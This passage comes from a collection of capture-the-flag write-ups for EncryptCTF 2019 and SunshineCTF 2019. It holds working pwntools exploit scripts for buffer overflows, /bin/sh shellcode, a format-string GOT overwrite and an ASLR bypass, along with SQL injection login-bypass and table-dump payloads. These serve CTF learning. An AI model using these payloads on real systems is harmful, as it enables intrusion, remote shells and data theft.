( strlen(s) > 3 ) 109 | sub_1258(); 110 | v1 = atoi(s); 111 | if ( v1 * v1 * v1 + 2 * (2 * v1 * v1 - v1) - 3 ) 112 | sub_1258(); 113 | return puts("SUBSCRIBE TO PEWDIEPIE"); 114 | ``` 115 | 116 | This means we need a string that's both longer than 3 characters and doesn't make that mathematical statement true. Let's try something simple like `1`. 117 | 118 | ``` 119 | = v1 * v1 * v1 + 2 * (2 * v1 * v1 - v1) - 3 120 | = 1 * 1 * 1 + 2 * (2 * 1 * 1 - 1) - 3 121 | = 3 + 2 * (1) - 3 122 | = 3 + 2 - 3 123 | = 2 124 | ``` 125 | 126 | This statement will be evaluated as false, so it'll pass. 127 | 128 | Input so far: 129 | 130 | ``` 131 | CRACKME02\n\xEF\xBE\xAD\xDE\nZXytUb9fl78evgJy3KJN\n1\n 132 | ``` 133 | 134 | #### Fifth check 135 | 136 | The fifth check is quite interesting, and is located in `sub_1410`. Here's the code: 137 | 138 | ```c 139 | strncpy(&dest, a1, 0xAu); 140 | puts("Validating Input 4"); 141 | if ( dest[0x0] + dest[0x8] != 0xD5 ) 142 | sub_1258(); 143 | if ( dest[0x1] + dest[0x7] != 0xCE ) 144 | sub_1258(); 145 | if ( dest[0x2] + dest[0x6] != 0xE7 ) 146 | sub_1258(); 147 | if ( dest[0x3] + dest[0x5] != 0xC9 ) 148 | sub_1258(); 149 | if ( dest[0x4] == 0x69 ) 150 | puts("you earned it"); 151 | ``` 152 | 153 | Although it allows 0xA bytes in the strncpy, we only need to care about 8 of them. Given this code, our string needs to pass the following conditions: 154 | 155 | ``` 156 | dest[0] + dest[8] must add up to 0xD5 157 | dest[1] + dest[7] must add up to 0xCE 158 | dest[2] + dest[6] must add up to 0xE7 159 | dest[3] + dest[5] must add up to 0xC9 160 | dest[4] must be 0x69 161 | ``` 162 | 163 | What makes this challenge interesting though will require us to look at a bit of the disassembly. Let's look at the disassembly for the check against `dest[2]` and `dest[6]`, the others are similar but with different local variable references and compare intermediates. 164 | 165 | ```assembly 166 | movzx eax, [ebp+var_15] 167 | movsx edx, al 168 | movzx eax, [ebp+var_F] 169 | movsx eax, al 170 | add eax, edx 171 | cmp eax, 0CEh 172 | ``` 173 | 174 | Notice that it first moves with a zero extension, then moves with a sign extension. This means we must make sure every byte we use in this string to make these additions match up must be 0x7F or below. If they're 0x80 or higher in value, they'll move 0xFF's into the upper 3 bytes and the checks will fail. Below is the string I came up with: 175 | 176 | ``` 177 | dest[0] = 0x56, dest[8] = 0x7F. 0x7F + 0x56 = 0xD5 178 | dest[1] = 0x67, dest[7] = 0x67. 0x67 + 0x67 = 0xCE 179 | dest[2] = 0x73, dest[6] = 0x74. 0x73 + 0x74 = 0xE7 180 | dest[3] = 0x64, dest[5] = 0x65. 0x64 + 0x65 = 0xC9 181 | dest[4] = 0x69 182 | 183 | Which gives us: \x56\x67\x73\x64\x69\x65\x74\x67\x7F 184 | ``` 185 | 186 | #### Flag 187 | 188 | Finally, when we put this all together, we get: 189 | 190 | ``` 191 | CRACKME02\n\xEF\xBE\xAD\xDE\nZXytUb9fl78evgJy3KJN\n1\n\x56\x67\x73\x64\x69\x65\x74\x67\x7F 192 | ``` 193 | 194 | If we use python to send this to the given IP and port, we'll get the flag. 195 | 196 | ``` 197 | $ python -c 'print "CRACKME02\n" + "\xef\xbe\xad\xde\n" + "ZXytUb9fl78evgJy3KJN\n" + "1\n" + "\x56\x67\x73\x64\x69\x65\x74\x67\x7F"' | nc 104.154.106.182 7777 198 | Hi!, i am a BOMB! 199 | I will go boom if you don't give me right inputs 200 | Enter input #0: Enter input #1: Enter input #2: Enter input #3: SUBSCRIBE TO PEWDIEPIE 201 | Enter input #4: Validating Input 4 202 | you earned it 203 | encryptCTF{B0mB_D!ffu53d} 204 | ``` 205 | 206 | The flag: 207 | 208 | ``` 209 | encryptCTF{B0mB_D!ffu53d} 210 | ``` 211 | 212 | -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/pwn0.md: -------------------------------------------------------------------------------- 1 | ## pwn0 (Pwn, 25pts) 2 | 3 | #### Challenge Description 4 | 5 | How's the josh? 6 | 7 | ``` 8 | nc 104.154.106.182 1234 9 | ``` 10 | 11 | author: codacker 12 | 13 | #### Overview 14 | 15 | When we decompile the main entry point of the binary the challenge gives us, we essentially get the following: 16 | 17 | ```c 18 | setvbuf(stdout, 0, 2, 0); 19 | puts("How's the josh?"); 20 | gets(&s); 21 | if ( !memcmp(&s1, "H!gh", 4u) ) 22 | { 23 | puts("Good! here's the flag"); 24 | print_flag(); 25 | } 26 | else 27 | { 28 | puts("Your josh is low!\nBye!"); 29 | } 30 | ``` 31 | 32 | We can abuse `gets()` to overwrite the memory contents of the local variable `s1` to match `H1gh`. Another way you could solve it would be to overwrite the return address to point directly to `print_flag()`, but it's not necessary. 33 | 34 | #### Flag Script 35 | 36 | ```python 37 | # Pwn0 38 | # No PIE, NX Enabled, No Stack Cookies 39 | # 40 | # Solution: Overwrite local variable with "H!gh" 41 | # Flag: encryptCTF{L3t5_R4!53_7h3_J05H} 42 | 43 | from pwn import * 44 | 45 | context(arch='i386', os='linux') 46 | 47 | io = remote('104.154.106.182', 1234) 48 | 49 | payload = "H!gh" * 50 50 | 51 | # Receive prompt 52 | io.recv() 53 | io.sendline(payload) 54 | 55 | # Receive irrelevant statement / trash 56 | io.recv() 57 | 58 | # Flag 59 | print(io.recv()) 60 | ``` 61 | 62 | The flag: 63 | 64 | ``` 65 | encryptCTF{L3t5_R4!53_7h3_J05H} 66 | ``` 67 | -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/pwn1.md: -------------------------------------------------------------------------------- 1 | ## pwn1 (Pwn, 50pts) 2 | 3 | #### Challenge Description 4 | 5 | Let's do some real stack buffer overflow 6 | 7 | ``` 8 | nc 104.154.106.182 2345 9 | ``` 10 | 11 | author: codacker 12 | 13 | #### Overview 14 | 15 | When looking at the main function in a disassembler, we see a bug that's identical to the one in pwn0, the use of the `gets()` function which allows you to overwrite contents on the stack. 16 | 17 | ```assembly 18 | mov dword ptr [esp], offset format ; "Tell me your name: " 19 | call _printf 20 | lea eax, [esp+90h+s] 21 | mov [esp], eax ; s 22 | call _gets 23 | ``` 24 | 25 | There's also a target function in the binary called `shell()` which will do `system("/bin/bash")` located at `0x80484AD`. The return address is 0x8C bytes away from our input location, so 140 bytes of padding + 4 bytes of the `shell()` address will give us the flag. 26 | 27 | #### Flag Script 28 | 29 | ```python 30 | # Pwn1 31 | # No PIE, NX Enabled, No Stack Cookies 32 | # 33 | # Solution: Overwrite return address with win function shell(). 34 | # Flag: encryptCTF{Buff3R_0v3rfl0W5_4r3_345Y} 35 | 36 | from pwn import * 37 | 38 | context(arch='i386', os='linux') 39 | 40 | io = remote('104.154.106.182', 2345) 41 | 42 | # Padding 43 | payload = "A"*140 44 | 45 | # Overwrite return address to shell() 46 | payload += "\xAD\x84\x04\x08" 47 | 48 | # Receive prompt 49 | io.recvuntil(':') 50 | io.sendline(payload) 51 | 52 | # Shell 53 | io.interactive() 54 | 55 | ``` 56 | 57 | The flag: 58 | 59 | ``` 60 | encryptCTF{Buff3R_0v3rfl0W5_4r3_345Y} 61 | ``` -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/pwn2.md: -------------------------------------------------------------------------------- 1 | ## pwn2 (Pwn, 100pts) 2 | 3 | #### Challenge Description 4 | 5 | I made a simple shell which allows me to run some specific commands on my server can you test it for bugs? 6 | 7 | ``` 8 | nc 104.154.106.182 3456 9 | ``` 10 | 11 | author: codacker 12 | 13 | #### Overview 14 | 15 | Looking at the main function, the issue is again the use of `gets()` similar to pwn0 and pwn1, except this time there's no win() function that'll print the flag or give you a shell. 16 | 17 | ```assembly 18 | mov dword ptr [esp], offset format ; "$ " 19 | call _printf 20 | lea eax, [esp+30h+s] 21 | mov [esp], eax ; s 22 | call _gets 23 | ``` 24 | 25 | However NX is disabled so we can use shellcode. The crux of the challenge is managing to get a pointer to your shellcode, since the stack will change between your local copy and the server. The way to get around this is to use a 1 gadget ROP chain. Through observing program behavior in GDB, one may notice that the stack pointer `esp` points to just after the return address overwrite. 26 | 27 | We can place shellcode here and use a `jmp esp` gadget to have a perfect pointer to where to return to. One such gadget exists at `0x8048544`. 28 | 29 | ```assembly 30 | .text:08048544 jmp esp 31 | ``` 32 | 33 | 34 | 35 | #### Flag Script 36 | 37 | ```python 38 | # Pwn2 39 | # No PIE, NX Disabled, No Stack Cookies 40 | # 41 | # Solution: Write shellcode on stack, jump to it with a 'jmp esp' gadget. 42 | # Flag: encryptCTF{N!c3_j0b_jump3R} 43 | 44 | from pwn import * 45 | 46 | context(arch='i386', os='linux') 47 | 48 | io = remote('104.154.106.182', 3456) 49 | 50 | # Write padding 51 | payload = "\x90" * 0x2C 52 | 53 | # 'jmp esp' gadget 54 | payload += "\x44\x85\x04\x08" 55 | 56 | # Write shellcode 57 | payload += "\x31\xC0" # 'xor eax, eax` 58 | payload += "\x50" 59 | payload += "\x68\x2F\x2F\x73\x68" 60 | payload += "\x68\x2F\x62\x69\x6E" 61 | payload += "\x89\xE3" 62 | payload += "\x50" 63 | payload += "\x53" 64 | payload += "\x89\xE1" 65 | payload += "\xB0\x0B" 66 | payload += "\xCD\x80" 67 | 68 | # Shell 69 | io.sendline(payload) 70 | io.interactive() 71 | 72 | ``` 73 | 74 | The flag: 75 | 76 | ``` 77 | encryptCTF{N!c3_j0b_jump3R} 78 | ``` -------------------------------------------------------------------------------- /CTF/EncryptCTF-2019/pwn4.md: -------------------------------------------------------------------------------- 1 | ## pwn4 (Pwn, 300pts) 2 | 3 | #### Challenge Description 4 | 5 | GOT is a amazing series! 6 | 7 | ``` 8 | nc 104.154.106.182 5678 9 | ``` 10 | 11 | author: codacker 12 | 13 | #### Overview 14 | 15 | This challenge actually has two issues, which you could exploit one of two ways. 16 | 17 | One issue is the use of `gets()` again which can lead to stack overflow, however this challenge does have a stack cookie. You could leak the stack cookie via the second issue, being a format string vulnerability. 18 | 19 | The second way of exploiting this by overwriting a jump slot / GOT entry via arbitrary write through the format string bug itself. This is likely the intended solution given the description. 20 | 21 | ```assembly 22 | mov dword ptr [esp], offset s ; "Do you swear to use this shell with res"... 23 | call _puts 24 | lea eax, [esp+0A0h+s] 25 | mov [esp], eax ; s 26 | call _gets 27 | lea eax, [esp+0A0h+s] 28 | mov [esp], eax ; format 29 | call _printf 30 | lea eax, [esp+1Ch] 31 | mov [esp+4], eax 32 | mov dword ptr [esp], offset format ; "\ni don't belive you!\n%s\n" 33 | call _printf 34 | ``` 35 | 36 | I solved it by overwriting a GOT entry. Notice how `printf()` is used again after the first `printf()`. This is likely intentional to give us a target GOT entry to overwrite, being `printf()` itself. The jump slot for `printf()` in the Global Offset Table (GOT) is at location `0x80498FC`. 37 | 38 | #### Win function 39 | 40 | There's a win() function that will pop a shell for us at `0x804853d`. This is what we'll write into `printf()`'s jump slot with the format string bug. 41 | 42 | ```assembly 43 | push ebp 44 | mov ebp, esp 45 | sub esp, 18h 46 | mov dword ptr [esp], offset command ; "/bin/bash" 47 | call _system 48 | leave 49 | retn 50 | ``` 51 | 52 | 53 | 54 | #### Format String Fun 55 | 56 | Format string bugs can be tricky. Because the pointer in the jump slot usually points into libc, we'll need to overwrite all 4 bytes - no getting away with a partial overwrite. We'll also need to do some stack popping. We can do that by entering a recognizable string ("AAAA"), then use the `%x` specifier to look for the hex values for that string on the stack. 57 | 58 | ``` 59 | $ python -c 'print "AAAA" + "%08x."*10' | ./pwn4 60 | Do you swear to use this shell with responsility by the old gods and the new? 61 | 62 | AAAA00000000.00000002.00000000.f7fa9a70.00000001.f7f602f0.41414141.78383025.3830252e.30252e78. 63 | i don't belive you! 64 | AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 65 | ``` 66 | 67 | We can see here in the line containing the hex values we have 6 `%08x`'s before we see `41414141`. This means our payload will use `%08x.` 6 times before using the `%n` specifiers to do our overwrites. 68 | 69 | Essentially, the structure of our format string will be this: 70 | 71 | ``` 72 | [4 addresses of the 4 bytes to overwrite] + [6 * %08x] + [%u%n values for the 4 overwrites] 73 | ``` 74 | 75 | You may ask why I decided to use `%08x` and not just `%x`. The reason is the stack contents may differ slightly between local copies and the server copy. This can make the calculations we write later for the values incorrect and lead to our exploit not working on the server copy - I found this out the hard way. 76 | 77 | So let's start with the addresses. We'll need to do a 1 byte write for each of the 4 bytes that represent the `printf()` function pointer, going from least significant to most significant byte. 78 | 79 | ``` 80 | 0x80498FC - least significant 81 | 0x80498FD - 2nd least significant 82 | 0x80498FE - 2nd most significant 83 | 0x80498FF - most significant 84 | ``` 85 | 86 | Because `%u%n` also does a stack pop, we'll need to pad with 4 bytes before each address we specify for the overwrite. This means the beginning of our format string looks like this (newline every 4 bytes for readability): 87 | 88 | ``` 89 | "\x41\x41\x41\x41" + 90 | "\xfc\x98\x04\x08" + 91 | "\x41\x41\x41\x41" + 92 | "\xfd\x98\x04\x08" + 93 | "\x41\x41\x41\x41" + 94 | "\xfe\x98\x04\x08" + 95 | "\x41\x41\x41\x41" + 96 | "\xff\x98\x04\x08" + 97 | "%08x." * 6 + 98 | ``` 99 | 100 | #### Calculating values 101 | 102 | The way the arbitrary write via `%n` trick works is it'll write the number of bytes present in the string up to the `%n` specifier, meaning we'll need to pad out the string to get the values we want. We're going to start with the least significant byte. Remember, our win function is at `0x804853D`, so we'll want to write the value `0x3D` at the first address. 103 | 104 | Notice how I said we're going to be using `%u%n`. We're going to use this to pad the string to get the value we want. According to a paper on format string exploitation by Saif El-Sherei, we can calculate the width via the following formula: 105 | 106 | ``` 107 | “The byte to be written” – “the outputted byte” + “the width of the %x specified just before the %n” 108 | ``` 109 | 110 | Here's a python function that'll help us (src): 111 | 112 | ```python 113 | def calculate(to_write, written): 114 | to_write += 0x100 115 | written %= 0x100 116 | padding = (to_write - written) % 0x100 117 | if padding < 10: 118 | padding += 0x100 119 | return padding 120 | ``` 121 | 122 | If we try to run the current string above into the program at the moment, we'll get a segmentation fault, and the lowest byte of EIP will be `0x46`. We need to add `0x10` to this for the padding bytes we added before the addresses above. 123 | 124 | ``` 125 | Invalid %PC address: 0x46464646 126 | ``` 127 | 128 | For the first byte, the value we want `to_write` will be `0x3D`, and the `written` value would be `0x56 (0x46 + 0x10)`. `calculate()` will give us `0xE7`, or 231. 129 | 130 | This gives us the following payload: 131 | 132 | ``` 133 | "\x41\x41\x41\x41" + 134 | "\xfc\x98\x04\x08" + 135 | "\x41\x41\x41\x41" + 136 | "\xfd\x98\x04\x08" + 137 | "\x41\x41\x41\x41" + 138 | "\xfe\x98\x04\x08" + 139 | "\x41\x41\x41\x41" + 140 | "\xff\x98\x04\x08" + 141 | "%08x." * 6 + 142 | "%231u%n" + 143 | ``` 144 | 145 | For the rest of the bytes, we're going to do something similar but we won't add `0x10` to the `written` value (though we will add `0x8` to the end result to account for padding). Below is a list of the `to_write`, `written`, and final calculated values for the remaining three bytes. 146 | 147 | 2nd least-significant byte: 148 | 149 | ``` 150 | to_write = 0x85 151 | written = 0x45 152 | 153 | calculate(0x85, 0x45) = 64 154 | 155 | 64 + 8 = 72 156 | ``` 157 | 158 | 2nd most-significant byte: 159 | 160 | ``` 161 | to_write = 0x04 162 | written = 0x8D 163 | 164 | calculate(0x04, 0x8D) = 119 165 | 166 | 119 + 8 = 127 167 | ``` 168 | 169 | most-significant byte: 170 | 171 | ``` 172 | to_write = 0x08 173 | written = 0x0C 174 | 175 | calculate(0x08, 0x0C) = 252 176 | 177 | 252 + 8 = 260 178 | ``` 179 | 180 | This gives us the final format string which will pop us a shell: 181 | 182 | ``` 183 | "\x41\x41\x41\x41" + 184 | "\xfc\x98\x04\x08" + 185 | "\x41\x41\x41\x41" + 186 | "\xfd\x98\x04\x08" + 187 | "\x41\x41\x41\x41" + 188 | "\xfe\x98\x04\x08" + 189 | "\x41\x41\x41\x41" + 190 | "\xff\x98\x04\x08" + 191 | "%08x." * 6 + 192 | "%231u%n" + 193 | "%72u%n" + 194 | "%127u%n" + 195 | "%260u%n" 196 | ``` 197 | 198 | 199 | 200 | #### Flag Script 201 | 202 | ```python 203 | # Pwn4 204 | # No PIE, NX Enabled, Stack Cookies Present 205 | # 206 | # Solution: Use format string to overwrite a GOT/jump slot entry. 207 | # Flag: encryptCTF{Y0u_4R3_7h3_7ru3_King_0f_53v3n_KingD0ms} 208 | 209 | from pwn import * 210 | 211 | context(arch='i386', os='linux') 212 | 213 | io = remote('104.154.106.182', 5678) 214 | 215 | # Write pointers to overwrite with %n specifier 216 | payload = "\x41\x41\x41\x41" # Padding 217 | payload += "\xfc\x98\x04\x08" # printf jump slot byte 4 218 | 219 | payload += "\x41\x41\x41\x41" # Padding 220 | payload += "\xfd\x98\x04\x08" # printf jump slot byte 3 221 | 222 | payload += "\x41\x41\x41\x41" # Padding 223 | payload += "\xfe\x98\x04\x08" # printf jump slot byte 2 224 | 225 | payload += "\x41\x41\x41\x41" # Padding 226 | payload += "\xff\x98\x04\x08" # printf jump slot byte 1 227 | 228 | # Padding 229 | payload += "%08x."*6 230 | 231 | # Values for overwrite 232 | payload += "%231u%n" # Write byte 4 233 | payload += "%72u%n" # Write byte 3 234 | payload += "%127u%n" # Write byte 2 235 | payload += "%260u%n" # Write byte 1 236 | 237 | io.sendline(payload) 238 | 239 | # Shell 240 | io.interactive() 241 | 242 | ``` 243 | 244 | The flag: 245 | 246 | ``` 247 | encryptCTF{Y0u_4R3_7h3_7ru3_King_0f_53v3n_KingD0ms} 248 | ``` -------------------------------------------------------------------------------- /CTF/SunshineCTF-2019/Patches Punches.md: -------------------------------------------------------------------------------- 1 | ## Patches' Punches (RE, 50pts) 2 | 3 | #### Challenge Description 4 | 5 | That moment when you go for a body slam and you realize you jump too far. Adjust your aim, and you'll crush this challenge! 6 | 7 | [patches](http://files.sunshinectf.org/pwn/patches) 8 | 9 | Author: soaspro 10 | 11 | #### Overview 12 | 13 | The challenge provides us with a binary file that supposedly contains the flag. Given the name and the fact that the challenge is only worth 50 points, it's safe to assume we'll only need some simple patching to solve it. 14 | 15 | #### Patching 16 | 17 | If we take a look at the main function, we'll see some interesting disassembly. I've omitted the parts that involve constructing the flag as reversing that is not needed. 18 | 19 | ```assembly 20 | mov dword ptr [ebp-10h], 1 21 | cmp dword ptr [ebp-10h], 0 22 | jnz short loc_5A3 23 | mov [ebp+var_C], 0 24 | jmp short loc_580 25 | 26 | loc_5A3: 27 | sub esp, 0Ch 28 | lea edx, (aWoahThereYouJu - 1FD8h)[eax] ; "Woah there! you jumped over the flag." 29 | push edx 30 | mov ebx, eax 31 | call _printf 32 | 33 | loc_580: 34 | sub esp, 8 35 | lea edx, (string - 1FD8h)[eax] ; "zyq|Xu3Px~_{Uo}TmfUq2E3piVtJ2nf!}" 36 | push edx 37 | lea edx, (aHurrayTheFlagI - 1FD8h)[eax] ; "Hurray the flag is %s\n" 38 | push edx ; format 39 | mov ebx, eax 40 | call _printf 41 | ``` 42 | 43 | Basically, you'll only be given the flag if the value at `ebp-0x10` is 0. But we can see in the disassembly that it directly moves 1 into `ebp-0x10`. This is the instruction we need to patch. If we take a look at the opcodes for this instruction, we'll get the following from REBot: 44 | 45 | ```assembly 46 | mov dword ptr [ebp - 0x10], 0 ; +0 = c7 45 f0 01 00 00 00 47 | ``` 48 | 49 | The first byte is the opcode for the `mov` instruction and the next two are for the `[ebp - 0x10]` operation, which means the trailing 4 bytes are for the immediate. This means if we patch the 4th byte to a `0` / NULL byte, we'll get the flag. In the binary, this turns out to be at file offset 0x53D. 50 | 51 | #### Flag 52 | 53 | After patching this byte, we can run the binary again and this time we'll get the flag. Note that if you're running on a 64-bit system you'll need to install 32-bit libraries to run the binary as it is a 32-bit binary (x86), not 64-bit. 54 | 55 | ``` 56 | $ ./patches 57 | Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!} 58 | ``` 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /CTF/SunshineCTF-2019/Return To Mania.md: -------------------------------------------------------------------------------- 1 | ## Return To Mania (Pwn, 50 pts) 2 | 3 | #### Challenge Description 4 | 5 | To celebrate her new return to wrestling, Captn Overflow authored this challenge to enter the ring 6 | 7 | ``` 8 | nc ret.sunshinectf.org 4301 9 | ``` 10 | 11 | Author: bambu 12 | 13 | #### Overview 14 | 15 | The challenge provides a download to a binary. The binary is an x86 (ELF32), and symbols haven't been stripped. The main function calls another function called `welcome()`, which essentially does the following: 16 | 17 | ```c 18 | // pseudocode 19 | void welcome() 20 | { 21 | char key[18]; 22 | 23 | printf("Welcome to WrestleMania! Type in key to get access.\n"); 24 | printf("addr of welcome(): %p\n", (void *)welcome); 25 | 26 | scanf("%s", &key); 27 | } 28 | ``` 29 | 30 | The issue here is fairly obvious in that there's no bounds checking on the input string, so a stack overflow is possible if you provide more than 18 characters. Running `checksec` on the binary reveals that the binary has NX and PIE enabled, therefore the addresses will be randomized. This can also be seen if you connect to the hostname and port above, you'll notice the address of `welcome()` is different every run. 31 | 32 | Looking around the binary a bit more will reveal there's a win function called `mania()` that'll open a flag file to give us the flag. 33 | 34 | #### Calculating the Win Function Address 35 | 36 | Since ASLR is enabled and the binary is position independent (PIE), we'll need to calculate the address of the win function. We can do this using the pointer to `welcome()` that is provided to us. In the binary, the following functions have the following offsets: 37 | 38 | ``` 39 | welcome(): 0x6ED 40 | mania(): 0x65D 41 | ``` 42 | 43 | This means that we can calculate the virtual address of `mania()` by taking the pointer provided for `welcome()` and subtracting 0x90. 44 | 45 | #### Stack Smashing 46 | 47 | Using the stack overflow we can overwrite the return address of `welcome()`. Since the buffer for the key is 18 bytes, and 4 bytes are needed for saving the base pointer, the address overwrite will happen after 22 bytes of input. 48 | 49 | ``` 50 | AAAAAAAAAAAAAAAAAAAAAA + [address of mania()] 51 | ``` 52 | 53 | #### Flag Script 54 | 55 | I used pwntools to handle the remote connection stuff and to also get some helper functions such as `p32()` to write a 32-bit pointer to the payload. 56 | 57 | ```python 58 | from pwn import * 59 | context(arch='i386', os='linux') 60 | 61 | r = remote('ret.sunshinectf.org', 4301) 62 | 63 | # Receive trash 64 | r.recvuntil(': ') 65 | 66 | # Receive the line containing the address for ASLR defeat 67 | addressLine = r.recvline() 68 | addressOfWin = int(addressLine, 16) - 0x90 69 | 70 | print("[+] Win function: 0x" + format(addressOfWin, '02x')) 71 | 72 | # Construct payload 73 | payload = "A"*22 74 | payload += p32(addressOfWin) 75 | 76 | # Bombs away! 77 | r.send(payload) 78 | r.send("\x0A") 79 | 80 | r.recvline() 81 | 82 | print("[+] Found flag: " + r.recvline()) 83 | ``` 84 | 85 | After running this script, we'll get the flag. 86 | 87 | ``` 88 | [+] Opening connection to ret.sunshinectf.org on port 4301: Done 89 | [+] Win function: 0x565bd65d 90 | [+] Found flag: sun{0V3rfl0w_rUn_w!Ld_br0th3r} 91 | 92 | [*] Closed connection to ret.sunshinectf.org port 4301 93 | ``` 94 | 95 | Flag: 96 | 97 | ``` 98 | sun{0V3rfl0w_rUn_w!Ld_br0th3r} 99 | ``` 100 | 101 | -------------------------------------------------------------------------------- /CTF/SunshineCTF-2019/TimeWarp.md: -------------------------------------------------------------------------------- 1 | ## TimeWarp (Scripting, 50pts) 2 | 3 | #### Challenge Description 4 | 5 | Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline! Y0u'll have to 4nswer the qu3stion5 *before* we ask them! 6 | 7 | ``` 8 | nc tw.sunshinectf.org 4101 9 | ``` 10 | 11 | Author: Mesaj2000 12 | 13 | #### Overview 14 | 15 | When we connect to the given hostname and port, we're greeted with the following message: 16 | 17 | ```I'm going to give you some numbers between 0 and 999. 18 | Repeat them back to me in 30 seconds or less! 19 | ``` 20 | 21 | If we type any random number (let's say, `1`), we'll get a printout of the number that was the correct one before getting a message about our guess. 22 | 23 | ``` 24 | 1 25 | 39 26 | 0h de4r, not aga1n! 27 | ``` 28 | 29 | The message we get seems to be from a list of messages for both a correct and incorrect guess. The important thing is that if we connect again and enter `39`, we get it correct. 30 | 31 | ``` 32 | 39 33 | 39 34 | G3tting cl0ser! 35 | 1 36 | 61 37 | G3tting c0lder! 38 | ``` 39 | 40 | This means the numbers we have to guess are consistent every time we connect, so we need to build a list of correct numbers to send to get the flag. 41 | 42 | A good way to go about doing this is to write a script that will try a number, and if it fails, store the printout of the correct answer, then reconnect and use that number. We'll then do this recursively until we get the flag. In a way, you could consider this a script that "auto learns" from it's previous failures. 43 | 44 | You could use one of two ways to determine if your guess was correct or not. The first is to build a table of the responses for correct and incorrect answers and match the second message against that. The second is to compare your guess to the number it prints out after you send it. This is the way I chose as it was easier. 45 | 46 | #### Flag Script 47 | 48 | I used pwntools for handling the networking side of things since I already had it setup for pwn challenges. 49 | 50 | ```python 51 | from pwn import * 52 | context(arch='i386', os='linux') 53 | 54 | # Setup a list to hold correct answers 55 | resetConnection = True 56 | correctAnswers = [] 57 | i = 0 58 | r = None 59 | 60 | while i < 300: 61 | if resetConnection: 62 | r = remote('tw.sunshinectf.org', 4101) 63 | 64 | # Receive trash 65 | r.recvline() 66 | r.recvline() 67 | 68 | resetConnection = False 69 | 70 | guess = 1 71 | 72 | if len(correctAnswers) > i: 73 | guess = correctAnswers[i] 74 | 75 | r.send(str(guess) + "\x0A") 76 | 77 | resp = r.recvline() 78 | 79 | # If our guess was incorrect, store it in the correctAnswers list and start over 80 | if int(resp) != guess: 81 | correctAnswers.append(int(resp)) 82 | i = 0 83 | 84 | # Need to reset the connection 85 | resetConnection = True 86 | else: 87 | print("[+] Question #" + str(i) + " answer: " + str(guess)) 88 | 89 | # If our guess was correct, receive the next line and continue 90 | potentialFlag = r.recvline() 91 | i += 1 92 | 93 | print("[+] Response: " + potentialFlag) 94 | 95 | print(r.recvline()) 96 | print(r.recvline()) 97 | ``` 98 | 99 | As it turns out, you need to do this 300 times before you'll get the flag. It can take a little while and there may be a more elegant solution, but this is the solution I came up with. After running it for long enough, we'll get the following output: 100 | 101 | ``` 102 | [+] Question #299 answer: 370 103 | [+] Response: Wow! You did it! 104 | 105 | As a reward for fixing the timestream, here's the flag: 106 | 107 | sun{derotser_enilemit_1001130519} 108 | ``` 109 | 110 | The flag: 111 | 112 | ``` 113 | sun{derotser_enilemit_1001130519} 114 | ``` 115 | 116 | I had quite a bit of fun with this challenge, though the script took a little bit to run due to how many rounds there were. -------------------------------------------------------------------------------- /CTF/SunshineCTF-2019/WrestlerBook.md: -------------------------------------------------------------------------------- 1 | ## WrestlerBook (Web, 100pts) 2 | 3 | #### Challenge Description 4 | 5 | WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn't get an invite don't even bother trying to view our profiles. 6 | 7 | [http://bk.sunshinectf.org](http://bk.sunshinectf.org/) 8 | 9 | Author: dmaria 10 | 11 | #### Overview 12 | 13 | When we click the link, we're brought to a login panel as shown below. 14 | 15 | ![](https://i.imgur.com/VhFsI2H.png) 16 | 17 | It's safe to assume with no other inputs or anything that this challenge involves SQL Injection (SQLi). Using the classic username of `admin` and password of `' or 1;#`, we login and see one account for "Hulk Hogan", but the flag is marked "N/A". 18 | 19 | ![](https://i.imgur.com/LDJ2gIt.png) 20 | 21 | This likely means there are multiple accounts, and only a few of them (or perhaps only one) has the actual flag. This means the challenge solution is to dump the entire table of accounts. 22 | 23 | #### Gathering DB Info 24 | 25 | Using another SQLi query in the password field that's bogus, such as `or1s`, we can get the SQL version used. 26 | 27 | ``` 28 | Warning: SQLite3::query(): Unable to prepare statement: 1, near "or1s": syntax error in /var/www/html/login.php on line 19 29 | ``` 30 | 31 | Next, we'll want a list of all the tables as well as their creation query. It's probably a safe bet that the name of the table of accounts is "users" as it commonly is, but I still wanted to get this information to be safe. We can use union statements to execute another select statement in the injection. All SQLite installations will have a table called `sqlite_master` which contains this information. 32 | 33 | ``` 34 | Username: admin 35 | Password: ' union SELECT 1, 2, group_concat(name), 4, group_concat(sql), 6, 7, 8 FROM sqlite_master WHERE type = "table";# 36 | ``` 37 | 38 | From the page, we can get the query. 39 | 40 | ``` 41 | CREATE TABLE `users` ( 42 | `username` TEXT, 43 | `password` TEXT, 44 | `avatar` TEXT, 45 | `age` INTEGER, 46 | `name` TEXT, 47 | `title` TEXT, 48 | `flag` TEXT, 49 | `id` INTEGER PRIMARY KEY AUTOINCREMENT 50 | ),CREATE TABLE sqlite_sequence(name,seq) 51 | ``` 52 | 53 | Cool, we now have the structure of the users table. From here, we can use these columns to dump all the accounts. 54 | 55 | #### Dumping the flag 56 | 57 | It's a bit messy, but I decided to get the information of all the fields from all accounts then parse through it for the flag. In this CTF, most flags have the format of `sun{...}`, so I ran the following injection and parsed through the dump. 58 | 59 | ``` 60 | Username: admin 61 | Password: ' union SELECT group_concat(username), group_concat(password), group_concat(avatar), group_concat(age), group_concat(name), group_concat(title), group_concat(flag), group_concat(id) FROM users;# 62 | ``` 63 | 64 | From the page: 65 | 66 | ``` 67 |
